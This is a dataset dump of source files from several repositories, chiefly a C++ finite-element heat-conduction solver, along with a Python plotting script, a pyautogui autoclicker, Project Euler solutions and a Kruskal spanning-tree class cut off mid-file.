elements.at(k).mNodes.size(); i++) {\n\t\t\tif (globalNodes.at(elements.at(k).mNodes.at(i)).mPosition < nextE) continue;\n\t\t\tfor (unsigned int j = 0; j < elements.at(k).mNodes.size(); j++) {\n\t\t\t\tif (globalNodes.at(elements.at(k).mNodes.at(j)).mPosition < nextE) {\n\t\t\t\t\tKFE(globalNodes.at(elements.at(k).mNodes.at(i)).mPosition - nextE, globalNodes.at(elements.at(k).mNodes.at(j)).mPosition) += outK(i, j);\n } else {\n\t\t\t\t\tKF(globalNodes.at(elements.at(k).mNodes.at(i)).mPosition - nextE, globalNodes.at(elements.at(k).mNodes.at(j)).mPosition - nextE) += outK(i, j);\n }\n }\n\n\t\t\tfF(globalNodes.at(elements.at(k).mNodes.at(i)).mPosition - nextE, 0) = outf(i, 0);\n }\n }\n\n std::cout << \"done\" << std::endl;\n\n std::cout << \"solving!!!\" << std::endl;\n //perhaps looking for a more suitable solver\n\tglobalD.bottomRows(globalNodes.size() - nextE) = KF.colPivHouseholderQr().solve(fF - KFE * globalD.topRows(nextE));\n\n\tstd::cout << \"outputting temperature map ... \";\n\tstd::ofstream ofile(gConfig.mFilename + \"_temperaturemap.txt\");\n\tfor (const Node& nd : globalNodes) {\n\t\tofile << nd.mX << \"\\t\" << nd.mY << \"\\t\" << globalD(nd.mPosition) << std::endl;\n\t}\n\tofile.close();\n\tstd::cout << \"done\" << std::endl;\n\n\tstd::cout << \"post processing ... \";\n\tofile.open(gConfig.mFilename + \"_flux.txt\");\n\tfor (const auto& ele : elements) {\n\t\tEigen::Matrix<double, 4, 4> temp;\n\t\tele.PostProcess(globalNodes, globalD, temp);\n\t\tfor (unsigned int i = 0; i < 4; i++)\n\t\t\tofile << temp(i, 0) << \"\\t\" << temp(i, 1) << \"\\t\" << temp(i, 2) << \"\\t\" << temp(i, 3) << std::endl;\n\t}\n\tofile.close();\n\tstd::cout << \"done\" << std::endl;\n\n return 0;\n}\n" }, { "alpha_fraction": 0.6064456105232239, "alphanum_fraction": 0.6337155103683472, "avg_line_length": 39.337501525878906, "blob_id": "f7f59bbe8577162cfd78d0e25cf693aafa296be9", "content_id": "5f3d20163a2fe505b3bc3d48b215415377e7f966", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3227, "license_type": "no_license", "max_line_length": 151, "num_lines": 80, "path": "/src/element.h", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#ifndef ELEMENT_H_INCLUDED\n#define ELEMENT_H_INCLUDED\n\n#include <vector>\n#include <Eigen/Dense>\n\nclass Node;\nclass BC;\n\nclass FourNodeQuadrilateralElement{\nprivate:\n inline static double N1(const double xi, const double eta) {\n return 0.25 * (1-xi) * (1-eta);\n }\n inline static double N2(const double xi, const double eta) {\n return 0.25 * (1+xi) * (1-eta);\n }\n inline static double N3(const double xi, const double eta) {\n return 0.25 * (1+xi) * (1+eta);\n }\n inline static double N4(const double xi, const double eta) {\n return 0.25 * (1-xi) * (1+eta);\n }\n\n inline static double dN1xi(const double xi, const double eta){\n return 0.25 * (-1+eta);\n }\n inline static double dN2xi(const double xi, const double eta){\n return 0.25 * (1-eta);\n }\n inline static double dN3xi(const double xi, const double eta){\n return 0.25 * (1+eta);\n }\n inline static double dN4xi(const double xi, const double eta){\n return 0.25 * (-1-eta);\n }\n\n inline static double dN1eta(const double xi, const double eta){\n return 0.25 * (-1+xi);\n }\n inline static double dN2eta(const double xi, const double eta){\n return 0.25 * (-1-xi);\n }\n inline static double dN3eta(const double xi, const double eta){\n return 0.25 * (1+xi);\n }\n inline static double dN4eta(const double xi, const double eta){\n return 0.25 * (1-xi);\n }\npublic:\n typedef Eigen::Matrix<double, 4, 1> typeN;\n typedef Eigen::Matrix<double, 2, 2> typeJ;\n typedef Eigen::Matrix<double, 2, 4> typeB;\n typedef Eigen::Matrix<double, 4, 4> typeK;\n\n std::vector<int>\t\tmNodes; ///< local->global nodes conversion table\n std::vector<BC>\t\t\tmBCs;\n Eigen::MatrixXd mD; ///< conductivity matrix\n double mS; ///< global source\n\n FourNodeQuadrilateralElement();\n\tFourNodeQuadrilateralElement& operator = (const FourNodeQuadrilateralElement& rhs);\n\n typeN& N(const double xi, const double eta, typeN& outN) const ;\n typeJ& J(const std::vector<Node>& globalNodes, const double xi, const double eta, typeJ& outJ) const ;\n typeB& B(const std::vector<Node>& globalNodes, const double xi, const double eta, typeB& outB) const ;\n typeK& K(const std::vector<Node>& globalNodes, typeK& outK) const ;\n\n Eigen::Matrix<double, 4, 1>& fs(const std::vector<Node>& globalNodes, Eigen::Matrix<double, 4, 1>& outfs) const ;\n Eigen::Matrix<double, 4, 1>& fq(const std::vector<Node>& globalNodes, Eigen::Matrix<double, 4, 1>& outfg) const ;\n Eigen::Matrix<double, 4, 1>& f(const std::vector<Node>& globalNodes, Eigen::Matrix<double, 4, 1>& outf) const ;\n\n bool CheckBoundaries(const std::vector<Node>& globalNodes) const;\n\tvoid Refine(std::vector<Node>& globalNodes, std::vector<FourNodeQuadrilateralElement>& elements);\n\tEigen::Matrix<double, 4, 4>& PostProcess(const std::vector<Node>& globalNodes, const Eigen::MatrixXd& d, Eigen::Matrix<double, 4, 4>& outPP) const;\n};\n\nstd::istream& operator >> (std::istream& stream, FourNodeQuadrilateralElement& element);\n\n#endif // ELEMENT_H_INCLUDED\n" }, { "alpha_fraction": 0.6426799297332764, "alphanum_fraction": 0.6476426720619202, "avg_line_length": 18.190475463867188, "blob_id": "dd7f8a0f7a53cdf45145b9ee2c068e3c9c9513b8", "content_id": "ed6b209d984f00a1c97c0f7ec60b6b6e5a36b333", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 403, "license_type": "no_license", "max_line_length": 61, "num_lines": 21, "path": "/src/node.h", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#ifndef NODE_H_INCLUDED\n#define NODE_H_INCLUDED\n\n#include \"boundary_condition.h\"\n\nclass Node{\npublic:\n double mX;\n double mY;\n BC mBC;\n int mPosition; ///< storage for reordered position\n\n double NodeDistance(const Node& nd2) const;\n\tbool\tIsEqual(const Node& nd2) const;\n };\n\n\n\nstd::istream& operator >> (std::istream& stream, Node& node);\n\n#endif // NODE_H_INCLUDED\n" }, { "alpha_fraction": 0.6628352403640747, "alphanum_fraction": 0.7011494040489197, "avg_line_length": 28, "blob_id": "8d399a8acc78c71b07f1a2b36d9910b43475f9c3", "content_id": "3015ca0993cfba7a8be2b963db2460de24a51d97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 261, "license_type": "no_license", "max_line_length": 70, "num_lines": 9, "path": "/src/gauss_quadrature.h", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#ifndef GAUSS_QUADRATURE_H_INCLUDED\n#define GAUSS_QUADRATURE_H_INCLUDED\n\n#include <vector>\n\nconst std::vector<double> GAUSS_POINTS = { -1.0/sqrt(3), 1.0/sqrt(3)};\nconst std::vector<double> GAUSS_WEIGHTS = { 1.0, 1.0 };\n\n#endif // GAUSS_QUADRATURE_H_INCLUDED\n" }, { "alpha_fraction": 0.640350878238678, "alphanum_fraction": 0.6564327478408813, "avg_line_length": 31.619047164916992, "blob_id": "ec93923986c3c280627e28d1a8f38b18165755a7", "content_id": "235f360dd55bca3803ace2ad99e40881638a6449", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 684, "license_type": "no_license", "max_line_length": 79, "num_lines": 21, "path": "/intensity.py", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as pl\nimport scipy.interpolate\n\nx, y, z = np.loadtxt(\"data_temperaturemap.txt\").transpose()\n\n# Set up a regular grid of interpolation points\nxi, yi = np.linspace(x.min(), x.max(), 300), np.linspace(y.min(), y.max(), 300)\nxi, yi = np.meshgrid(xi, yi)\n\n# Interpolate; there's also method='cubic' for 2-D data such as here\nzi = scipy.interpolate.griddata((x, y), z, (xi, yi), method='linear')\n\npl.imshow(zi, vmin=z.min(), vmax=z.max(), origin='lower',\n extent=[x.min(), x.max(), y.min(), y.max()])\npl.scatter(x, y, c=z)\npl.colorbar()\n\nx, y, vx, vy = np.loadtxt(\"data_flux.txt\").transpose()\npl.quiver(x,y,vx,vy, width=0.002)\npl.show()" }, { "alpha_fraction": 0.6048265695571899, "alphanum_fraction": 0.6244344115257263, "avg_line_length": 29.136363983154297, "blob_id": "f30f3acb2d1702c85237d155edf74d6ab0609176", "content_id": "8d881bce4e28515f794e5d0d8990f6bc55a43e38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 663, "license_type": "no_license", "max_line_length": 80, "num_lines": 22, "path": "/src/node.cpp", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#include \"node.h\"\n\n#include <cmath>\n\ndouble Node::NodeDistance(const Node& nd2) const {\n return sqrt((mX - nd2.mX)*(mX - nd2.mX) + (mY - nd2.mY)*(mY - nd2.mY));\n}\n\nbool\tNode::IsEqual(const Node& nd2) const {\n\tconst double\teps = 1e-7;\n\tif (fabs(mX - nd2.mX) > eps) return false;\n\tif (fabs(mY - nd2.mY) > eps) return false;\n\tif (mBC.mType!=nd2.mBC.mType) return false;\n\tif (fabs(mBC.mX - nd2.mBC.mX) > eps) return false;\n\tif (fabs(mBC.mX - nd2.mBC.mX) > eps) return false;\n\treturn true;\n}\n\nstd::istream& operator >> (std::istream& stream, Node& node){\n stream >> node.mX >> node.mY >> node.mBC.mType>> node.mBC.mX >> node.mBC.mY;\n return stream;\n}\n" }, { "alpha_fraction": 0.5671812891960144, "alphanum_fraction": 0.5940955281257629, "avg_line_length": 35.58778762817383, "blob_id": "f338d351b420eaacb3de694ac332566aac1f11a5", "content_id": "8034509eeac9c43f9990b601223f3cbe2e507d8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9586, "license_type": "no_license", "max_line_length": 187, "num_lines": 262, "path": "/src/element.cpp", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#include \"element.h\"\n\n#include <cmath>\n#include <iostream>\n#include <vector>\n\n#include \"node.h\"\n#include \"gauss_quadrature.h\"\n#include \"boundary_condition.h\"\n\nFourNodeQuadrilateralElement::FourNodeQuadrilateralElement() : mNodes(4,-1), mBCs(4), mD(2,2), mS(6) {\n mD.setZero();\n mD(0,0) = 5;\n mD(1,1) = 5;\n}\n\nFourNodeQuadrilateralElement& FourNodeQuadrilateralElement::operator=(const FourNodeQuadrilateralElement& rhs) {\n\t// Now, swap the data members with the temporary:\n\tmNodes = rhs.mNodes;\n\tmBCs = rhs.mBCs;\n\tmD(0, 0) = rhs.mD(0, 0);\n\tmD(0, 1) = rhs.mD(0, 1);\n\tmD(1, 0) = rhs.mD(1, 0);\n\tmD(1, 1) = rhs.mD(1, 1);\n\tmS = rhs.mS;\n\n\treturn *this;\n}\n\n////!!!!!!!!!!!!!!!!!!!!!!IMPLEMENT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nbool FourNodeQuadrilateralElement::CheckBoundaries(const std::vector<Node>& globalNodes) const{\n //check if face boundaries match node boundaries\n std::cout << \"not yet implemented\" << std::endl;\n\treturn true;\n}\n\nEigen::Matrix<double, 4, 1>& FourNodeQuadrilateralElement::N(const double xi, const double eta, Eigen::Matrix<double, 4, 1>& outN) const {\n outN(0,0) = N1(xi, eta);\n outN(1,0) = N2(xi, eta);\n outN(2,0) = N3(xi, eta);\n outN(3,0) = N4(xi, eta);\n return outN;\n}\n\nEigen::Matrix<double, 2, 2>& FourNodeQuadrilateralElement::J(const std::vector<Node>& globalNodes, const double xi, const double eta, Eigen::Matrix<double, 2, 2>& outJ) const {\n Eigen::Matrix<double, 2, 4> G;\n G << dN1xi(xi, eta), dN2xi(xi, eta), dN3xi(xi, eta), dN4xi(xi, eta),\n dN1eta(xi, eta), dN2eta(xi, eta), dN3eta(xi, eta), dN4eta(xi, eta);\n\n Eigen::Matrix<double, 4, 2> X;\n X << globalNodes.at(mNodes.at(0)).mX, globalNodes.at(mNodes.at(0)).mY,\n globalNodes.at(mNodes.at(1)).mX, globalNodes.at(mNodes.at(1)).mY,\n globalNodes.at(mNodes.at(2)).mX, globalNodes.at(mNodes.at(2)).mY,\n globalNodes.at(mNodes.at(3)).mX, globalNodes.at(mNodes.at(3)).mY;\n\n outJ = G*X;\n return outJ;\n}\n\nEigen::Matrix<double, 2, 4>& FourNodeQuadrilateralElement::B(const std::vector<Node>& globalNodes, const double xi, const double eta, Eigen::Matrix<double, 2, 4>& outB) const {\n Eigen::Matrix<double, 2, 4> G;\n G << dN1xi(xi, eta), dN2xi(xi, eta), dN3xi(xi, eta), dN4xi(xi, eta),\n dN1eta(xi, eta), dN2eta(xi, eta), dN3eta(xi, eta), dN4eta(xi, eta);\n\n Eigen::Matrix<double, 4, 2> X;\n X << globalNodes.at(mNodes.at(0)).mX, globalNodes.at(mNodes.at(0)).mY,\n globalNodes.at(mNodes.at(1)).mX, globalNodes.at(mNodes.at(1)).mY,\n globalNodes.at(mNodes.at(2)).mX, globalNodes.at(mNodes.at(2)).mY,\n globalNodes.at(mNodes.at(3)).mX, globalNodes.at(mNodes.at(3)).mY;\n\n outB = (G*X).inverse()*G;\n return outB;\n}\n\nEigen::Matrix<double, 4, 4>& FourNodeQuadrilateralElement::K(const std::vector<Node>& globalNodes, Eigen::Matrix<double, 4, 4>& outK) const {\n Eigen::Matrix<double, 2, 4> outB;\n Eigen::Matrix<double, 2, 2> outJ;\n\n outK.setZero();\n\n for (unsigned int i=0; i<GAUSS_POINTS.size(); i++)\n for (unsigned int j=0; j<GAUSS_POINTS.size(); j++){\n B(globalNodes, GAUSS_POINTS.at(i), GAUSS_POINTS.at(j), outB);\n J(globalNodes, GAUSS_POINTS.at(i), GAUSS_POINTS.at(j), outJ);\n outK += GAUSS_WEIGHTS.at(i) * GAUSS_WEIGHTS.at(j) * outB.transpose() * mD * outB * fabs(outJ.determinant());\n }\n\n return outK;\n}\n\nEigen::Matrix<double, 4, 1>& FourNodeQuadrilateralElement::fs(const std::vector<Node>& globalNodes, Eigen::Matrix<double, 4, 1>& outfs) const {\n Eigen::Matrix<double, 4, 1> outN;\n Eigen::Matrix<double, 2, 2> outJ;\n\n outfs.setZero();\n\n for (unsigned int i=0; i<GAUSS_POINTS.size(); i++)\n for (unsigned int j=0; j<GAUSS_POINTS.size(); j++){\n J(globalNodes, GAUSS_POINTS.at(i), GAUSS_POINTS.at(j), outJ);\n N(GAUSS_POINTS.at(i), GAUSS_POINTS.at(j), outN);\n outfs += GAUSS_WEIGHTS.at(i) * GAUSS_WEIGHTS.at(j) * outN * mS * fabs(outJ.determinant());\n }\n\n return outfs;\n}\n\nEigen::Matrix<double, 4, 1>& FourNodeQuadrilateralElement::fq(const std::vector<Node>& globalNodes, Eigen::Matrix<double, 4, 1>& outfq) const {\n double xi = 0;\n double eta = 0;\n double d = 0;\n\n Eigen::Matrix<double, 4, 1> outN;\n\n outfq.setZero();\n for (unsigned int i=0; i<mBCs.size(); i++){\n if (mBCs.at(i).mType == BCType::N){\n for (unsigned int j=0; j<GAUSS_POINTS.size(); j++){\n switch (i){\n case 0: eta = -1; xi = GAUSS_POINTS.at(j);\n d = globalNodes.at(mNodes.at(0)).NodeDistance(globalNodes.at(mNodes.at(1))); break;\n case 1: eta = GAUSS_POINTS.at(j); xi = 1;\n d = globalNodes.at(mNodes.at(1)).NodeDistance(globalNodes.at(mNodes.at(2))); break;\n case 2: eta = 1; xi = GAUSS_POINTS.at(j);\n d = globalNodes.at(mNodes.at(2)).NodeDistance(globalNodes.at(mNodes.at(3))); break;\n case 3: eta = GAUSS_POINTS.at(j); xi = -1;\n d = globalNodes.at(mNodes.at(3)).NodeDistance(globalNodes.at(mNodes.at(0))); break;\n }\n outfq -= GAUSS_WEIGHTS.at(j) * mBCs.at(i).mX * N(xi, eta, outN) * d * 0.5;\n }\n }\n }\n\n for (unsigned int i=0; i<mNodes.size(); i++){\n if (globalNodes.at(mNodes.at(i)).mBC.mType == BCType::N){\n outfq(i,0) -= globalNodes.at(mNodes.at(i)).mBC.mX;\n }\n }\n\n return outfq;\n}\n\nEigen::Matrix<double, 4, 1>& FourNodeQuadrilateralElement::f(const std::vector<Node>& globalNodes, Eigen::Matrix<double, 4, 1>& outf) const {\n Eigen::Matrix<double, 4, 1> outfq;\n fq(globalNodes, outfq);\n fs(globalNodes, outf);\n outf += outfq;\n\n return outf;\n}\n\nvoid FourNodeQuadrilateralElement::Refine(std::vector<Node>& globalNodes, std::vector<FourNodeQuadrilateralElement>& elements){\n\tstd::vector<int>\tnewNodes(5, -1);\n Node node;\n FourNodeQuadrilateralElement element;\n\n for (int i=0; i<4; i++){\n node.mX = (globalNodes.at(mNodes.at(i)).mX + globalNodes.at(mNodes.at((i+1)%4)).mX) * 0.5;\n node.mY = (globalNodes.at(mNodes.at(i)).mY + globalNodes.at(mNodes.at((i+1)%4)).mY) * 0.5;\n node.mBC = mBCs.at(i);\n if (node.mBC.mType == BCType::N){\n node.mBC.mX = 0; node.mBC.mY = 0;\n }\n\t\tfor (unsigned int j = 0; j < globalNodes.size(); j++) {\n\t\t\tif (node.IsEqual(globalNodes.at(j))) {\n\t\t\t\tnewNodes.at(i) = j;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (newNodes.at(i) == -1) {\n\t\t\tglobalNodes.push_back(node);\n\t\t\tnewNodes.at(i) = globalNodes.size() - 1;\n\t\t}\n }\n node.mX = 0; node.mY = 0;\n for (int i=0; i<4; i++){\n node.mX += globalNodes.at(mNodes.at(i)).mX;\n node.mY += globalNodes.at(mNodes.at(i)).mY;\n }\n node.mX *= 0.25; node.mY *= 0.25;\n node.mBC = BC::DEFAULT;\n\n\tfor (unsigned int j = 0; j < globalNodes.size(); j++) {\n\t\tif (node.IsEqual(globalNodes.at(j))) {\n\t\t\tnewNodes.at(4) = j;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (newNodes.at(4) == -1) {\n\t\tglobalNodes.push_back(node);\n\t\tnewNodes.at(4) = globalNodes.size() - 1;\n\t}\n\n element = *this;\n\telement.mNodes.at(1) = newNodes.at(0);\n\telement.mNodes.at(2) = newNodes.at(4);\n\telement.mNodes.at(3) = newNodes.at(3);\n element.mBCs.at(1) = BC::DEFAULT;\n element.mBCs.at(2) = BC::DEFAULT;\n\telements.push_back(element);\n\n\telement = *this;\n\telement.mNodes.at(0) = newNodes.at(0);\n\telement.mNodes.at(2) = newNodes.at(1);\n\telement.mNodes.at(3) = newNodes.at(4);\n element.mBCs.at(2) = BC::DEFAULT;\n element.mBCs.at(3) = BC::DEFAULT;\n\telements.push_back(element);\n\n element = *this;\n\telement.mNodes.at(0) = newNodes.at(4);\n\telement.mNodes.at(1) = newNodes.at(1);\n\telement.mNodes.at(3) = newNodes.at(2);\n element.mBCs.at(0) = BC::DEFAULT;\n element.mBCs.at(3) = BC::DEFAULT;\n\telements.push_back(element);\n\n\tmNodes.at(0) = newNodes.at(3);\n\tmNodes.at(1) = newNodes.at(4);\n\tmNodes.at(2) = newNodes.at(2);\n mBCs.at(0) = BC::DEFAULT;\n mBCs.at(1) = BC::DEFAULT;\n}\n\nEigen::Matrix<double, 4, 4>& FourNodeQuadrilateralElement::PostProcess(const std::vector<Node>& globalNodes, const Eigen::MatrixXd& globalD, Eigen::Matrix<double, 4, 4>& outPP) const {\n\tEigen::Matrix<double, 4, 2> X;\n\tX << globalNodes.at(mNodes.at(0)).mX, globalNodes.at(mNodes.at(0)).mY,\n\t\tglobalNodes.at(mNodes.at(1)).mX, globalNodes.at(mNodes.at(1)).mY,\n\t\tglobalNodes.at(mNodes.at(2)).mX, globalNodes.at(mNodes.at(2)).mY,\n\t\tglobalNodes.at(mNodes.at(3)).mX, globalNodes.at(mNodes.at(3)).mY;\n\n\tEigen::Matrix<double, 1, 4> G;\n\n\tEigen::Matrix<double, 4, 1> d;\n\tfor (unsigned int i = 0; i < 4; i++)\n\t\td(i, 0) = globalD(globalNodes.at(mNodes.at(i)).mPosition, 0);\n\n\ttypeB\toutB;\n\t\n\tint\tk = 0;\n\tfor (unsigned int i = 0; i < GAUSS_POINTS.size(); i++) {\n\t\tfor (unsigned int j = 0; j < GAUSS_POINTS.size(); j++) {\n\t\t\tG(0, 0) = N1(GAUSS_POINTS.at(i), GAUSS_POINTS.at(j));\n\t\t\tG(0, 1) = N2(GAUSS_POINTS.at(i), GAUSS_POINTS.at(j));\n\t\t\tG(0, 2) = N3(GAUSS_POINTS.at(i), GAUSS_POINTS.at(j));\n\t\t\tG(0, 3) = N4(GAUSS_POINTS.at(i), GAUSS_POINTS.at(j));\n\t\t\toutPP.block(k, 0, 1, 2) = G*X;\n\t\t\tB(globalNodes, GAUSS_POINTS.at(i), GAUSS_POINTS.at(j), outB);\n\t\t\toutPP.block(k, 2, 1, 2) = (- mD * outB * d).transpose();\n\t\t\tk++;\n\t\t}\n\t}\n\treturn outPP;\n}\n\nstd::istream& operator >> (std::istream& stream, FourNodeQuadrilateralElement& element){\n for (auto& node : element.mNodes)\n stream >> node;\n for (unsigned int i = 0; i < element.mBCs.size(); i++)\n stream >> element.mBCs.at(i);\n\n return stream;\n}\n" }, { "alpha_fraction": 0.7507987022399902, "alphanum_fraction": 0.7507987022399902, "avg_line_length": 22.185184478759766, "blob_id": "31d55ad5084a6a5b290bcc47033a26e72f60fd4d", "content_id": "299691189c948b2ceeb1db07ad1f7d026e826614", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 626, "license_type": "no_license", "max_line_length": 78, "num_lines": 27, "path": "/src/configuration.h", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#ifndef CONFIGURATION_H\n#define CONFIGURATION_H\n\n#include\t<iostream>\n#include\t<sstream>\n#include\t<iomanip>\n#include\t<string>\n#include <stdexcept>\n\nclass Configuration{\n\tpublic:\n\t\tstd::string\t\tmFilename;\n\t\tunsigned int\tmNumberOfRefinements;\n\n\t\t///load basic configuration\n\t\tConfiguration();\n\t\t///read out the command line parameters\n\t\tvoid\tReadCommandLineParameters( unsigned int argc, char **argv );\n\t\tvoid\tSaveConfiguration();\n};\n\nextern\tConfiguration\tgConfig;\n\n///overloaded << operator to show easily the configuration on the screen\nstd::ostream &operator << (std::ostream &stream, const Configuration& config);\n\n#endif\n" }, { "alpha_fraction": 0.5384615659713745, "alphanum_fraction": 0.5384615659713745, "avg_line_length": 22.399999618530273, "blob_id": "c8a40346fd7efc328b141ddac8b78a7d10873ba8", "content_id": "8b59f21d85e95e85da3f751206865af538682f7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 585, "license_type": "no_license", "max_line_length": 71, "num_lines": 25, "path": "/src/boundary_condition.cpp", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include \"boundary_condition.h\"\n\nconst BC BC::DEFAULT;\n\nstd::istream& operator >> (std::istream& stream, BCType& type){\n char ch;\n stream >> ch;\n if (ch=='D')\n type = BCType::D;\n else if (ch=='N')\n type = BCType::N;\n else{\n std::cerr << \"unknown boundary condition: \" << ch << std::endl;\n std::cerr << \"defaulting to N\" << std::endl;\n type = BCType::N;\n }\n\n return stream;\n}\n\nstd::istream& operator >> (std::istream& stream, BC& bc){\n stream >> bc.mType >> bc.mX >> bc.mY;\n return stream;\n}\n" } ]
12
wstanto107/Python-AutoClicker
https://github.com/wstanto107/Python-AutoClicker
2a3d1c08076d0251c78db34fdf6edd1945bfb209
8076cba1b72b7c9131d56d7fcb8d8db955a9191d
a43a8ce84794032334b050b562f3c9355bd412a4
refs/heads/master
2020-03-22T18:54:43.628212
2018-07-10T22:03:07
2018-07-10T22:03:07
140,490,826
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6934865713119507, "alphanum_fraction": 0.6998723149299622, "avg_line_length": 20.75, "blob_id": "f89b7513ed335e1a8e0624862af7a943024ca2be", "content_id": "faf862eb992eef2e37d1326388e45134c558a225", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 783, "license_type": "no_license", "max_line_length": 65, "num_lines": 36, "path": "/main.py", "repo_name": "wstanto107/Python-AutoClicker", "src_encoding": "UTF-8", "text": "from random import randint\nimport pyautogui\nimport time\nimport math\nimport sys\n\n\ndef random_coordinate(x_lower,y_lower,x_range,y_range):\n\t\"\"\"Move cursor to a random location above the object to click\"\"\"\n\tx=randint(x_lower,x_lower+x_range)\n\ty=randint(y_lower,y_lower+y_range)\n\t\n\treturn pyautogui.moveTo(x,y,0)\n\n\ndef random_wait_time(z_lower,z_range):\n\tz=randint(z_lower,z_lower+z_range)\n\t\"\"\"returns a random int\"\"\"\n\ttime.sleep(z)\n\t\n\treturn z\n\nnum=input(\"Enter number of clicks:\")\nnum=int(num)\nxcoord=int(input(\"Enter X coord:\"))\nycoord=int(input(\"Enter Y coord:\"))\nrang=int(input(\"Enter Randomness:\"))\n\nx=0\n\nwhile x<=num:\n random_coordinate(xcoord,ycoord,rang,rang)\n pyautogui.click(xcoord,ycoord)\n random_wait_time(1,2)\n x+=1\ninput('Press ENTER to exit')\n" }, { "alpha_fraction": 0.7083333134651184, "alphanum_fraction": 0.7083333134651184, "avg_line_length": 22.5, "blob_id": "3b389718989f7bf65591c06cd124255e6059f8b3", "content_id": "553a3bb9dd6cecba9c1f9496cfac3d24b051c21f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 48, "license_type": "no_license", "max_line_length": 23, "num_lines": 2, "path": "/readme.md", "repo_name": "wstanto107/Python-AutoClicker", "src_encoding": "UTF-8", "text": "\"# Python-Autoclicker\" \n\"# Python-AutoClicker\" \n" } ]
2
simw/euler
https://github.com/simw/euler
51e2d2c3957941f43ccbef56d9288d6cb72b05f7
40e910211fd6b92571d1fc2ddbe7e1c9626bd5b9
80ebef2341726a15b2a5f7bee367e4f129660f17
refs/heads/master
2020-05-04T01:33:29.350125
2017-01-12T22:50:09
2017-01-12T22:50:09
23,127,921
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.437158465385437, "alphanum_fraction": 0.4590163826942444, "avg_line_length": 18.60714340209961, "blob_id": "6e0ba636951b5f67bfacebb91d745af9c025f395", "content_id": "24ecd5135a01ee9689bed7893608627f18e2f861", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 549, "license_type": "no_license", "max_line_length": 37, "num_lines": 28, "path": "/euler012/euler12.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\n\nfrom math import sqrt\n\ndef count_divisors(num):\n sqrt_num = int(sqrt(num))\n total = 0\n for i in range(1, sqrt_num):\n if num % i == 0:\n if num == sqrt_num:\n total = total + 1\n else:\n total = total + 2\n\n return total\n\ndef main():\n num = 0\n count = 0\n while 1:\n count = count + 1\n num = num + count\n if count_divisors(num) > 500:\n print(num)\n break\n \nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5063913464546204, "alphanum_fraction": 0.5142576098442078, "avg_line_length": 26.45945930480957, "blob_id": "5357e3bbfe98643fe3c066e34bf0ca9cad5d3460", "content_id": "a7b2e092ae0c048ee76ee66e368c2362d02974d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1017, "license_type": "no_license", "max_line_length": 69, "num_lines": 37, "path": "/euler018/euler18.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\nimport sys\n\ndef get_data(filename):\n nums = []\n with open(filename, 'r') as f:\n for line in f:\n nums.append([int(word) for word in line.strip().split()])\n return nums\n\ndef find_max_route(data):\n max_vals = data[len(data)-1]\n max_routes = [[i] for i in data[len(data)-1]]\n for i in reversed(range(len(data)-1)):\n old_max_vals = max_vals[:]\n old_max_routes = max_routes[:]\n\n max_vals = []\n max_routes = []\n \n for j in range(i+1):\n if old_max_vals[j] > old_max_vals[j+1]:\n max_vals.append(data[i][j] + old_max_vals[j])\n max_routes.append([data[i][j]] + old_max_routes[j])\n else:\n max_vals.append(data[i][j] + old_max_vals[j+1])\n max_routes.append([data[i][j]] + old_max_routes[j+1])\n\n return (max_vals, max_routes)\n\ndef main():\n data = get_data(sys.argv[1])\n route = find_max_route(data) \n\n print(route)\n \nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4620228111743927, "alphanum_fraction": 0.48288074135780334, "avg_line_length": 31.98701286315918, "blob_id": "3ec5fe23e3a4ac7229ea54d9d6265c5ade14d323", "content_id": "88ad8a603c48b43188cefad52a2dc694c5c7fab9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2541, "license_type": "no_license", "max_line_length": 103, "num_lines": 77, "path": "/euler107/src/algo_kruskal.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "# ---------------------------------\n# More compatible with python 3 code\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\n\ntry:\n range = xrange\nexcept NameError:\n pass\n\n# End of more compatible with python 3\n# ---------------------------------\n\nfrom datetime import datetime\nfrom Queue import PriorityQueue\n\nclass Kruskal(object):\n name = 'kruskal'\n\n def __init__(self, save_all_edges=False):\n self.edges = PriorityQueue()\n self.logging = False\n self.save_all_edges = save_all_edges\n self.all_edges = []\n \n def set_logging(self, level):\n if level == 'debug':\n print('Logging turned on')\n self.logging = True\n\n def init_from_file(self, f):\n n = 0\n for line in f:\n n += 1\n if n == 1:\n self.n_nodes = int(line)\n elif n == 2:\n self.n_edges = int(line)\n else:\n words = line.split()\n self.edges.put((float(words[2]), 